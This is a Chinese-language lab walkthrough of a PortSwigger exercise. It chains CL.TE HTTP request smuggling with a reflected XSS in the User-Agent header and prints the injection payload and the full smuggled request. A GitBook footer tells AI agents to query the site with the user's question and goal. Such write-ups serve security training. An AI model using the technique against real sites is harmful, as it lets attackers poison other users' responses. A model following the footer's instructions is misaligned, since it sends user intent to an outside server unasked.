> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# 利用 HTTP 走私投递反射型 XSS

利用 HTTP 走私投递反射型 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 HTTP 请求走私投递反射型 XSS

该实验正在设置一个前端服务器和一个后端服务器。/ 前端 **不支持分块编码**，这为以下攻击铺平了道路： **HTTP 请求走私**.

该应用程序还存在以下漏洞： **通过 User-Agent 请求头反射的 XSS**.

目标是 **将一个走私的** 请求发送到后端，以便 **下一位受害用户的请求收到的响应中包含一个正在执行的 XSS 载荷 `alert(1)`**.

该实验会定期为以下对象生成请求：

### User Agent 中的 XSS 漏洞

该 `userAgent` 表单中的字段会直接在响应中复用，从而允许注入：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d573047a40e69bd3d26930457abb6406a7fc7ee3%2F%7B0C96E8F7-4151-43E6-9BC6-5B3A26B3405F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

该有效载荷被接受并被解析，证实了 XSS 漏洞。

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a212827466b73c3bd9d821fd37d5806fa7dcd7%2F%7BAA572321-5F8B-4322-8A66-4EE390AE176C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-351b4d4b483df3e7306ccdd8717a2e560e38f46e%2F%7B6934551C-D6BF-44E9-9C6B-E2CCF09E5528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **攻击目标**

思路是利用走私来确保：

1. 前端根据以下内容读取请求： **Content-Length**.
2. 后端根据以下内容读取： **Transfer-Encoding: chunked**.
3. 走私请求会修改受害用户的下一次请求。
4. 然后服务器会返回一个在 User-Agent 请求头中包含我们的 XSS 载荷的响应。

### **走私的应用程序请求**

你构造一个包含空请求体的 POST 请求（`0/r/n/r/n`）来结束分块部分，随后是发送给后端的请求

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

这个第二个请求（被走私的）会被后端解释为下一次请求——受害用户的请求——的一部分，从而允许将 XSS 载荷注入到其将收到的响应中。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
